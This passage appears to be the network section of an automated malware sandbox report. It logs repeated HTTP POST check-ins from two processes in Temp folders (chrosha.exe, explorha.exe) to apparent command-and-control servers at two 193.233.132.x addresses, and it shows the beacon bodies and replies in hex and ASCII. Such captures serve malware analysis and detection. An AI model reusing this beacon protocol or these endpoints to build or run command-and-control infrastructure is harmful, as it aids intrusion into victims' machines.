Apr 19, 2024 03:30:30.480166912 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:30.729028940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49971	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:31.007756948 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:31.255181074 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:31.256380081 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:31.508797884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49972	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:31.081756115 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:31.325599909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49974	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:31.692141056 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:31.935770035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49975	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:31.867394924 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:32.117468119 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:32.118637085 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:32.374456882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49976	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:32.182086945 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:32.430222034 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49977	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:32.725755930 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:32.974592924 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:32.977405071 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:33.231810093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49978	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:32.792309999 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:33.039561033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	49979	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:33.289073944 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:33.537179947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49980	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:33.585074902 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:33.833966017 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:33.835388899 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:34.087327957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49981	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:33.896821976 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:34.139657974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49984	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:34.393057108 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:34.645452023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49985	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:34.443819046 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:34.691375971 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:34.692500114 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:34.944919109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49986	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:35.011377096 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:35.253305912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49987	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:35.319962978 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:35.568784952 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:35.589591026 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:35.843333006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49988	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:35.532418966 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:35.776182890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.5	49989	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:36.138465881 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:36.384691000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.5	49990	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:36.251488924 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:36.495367050 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:36.498276949 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
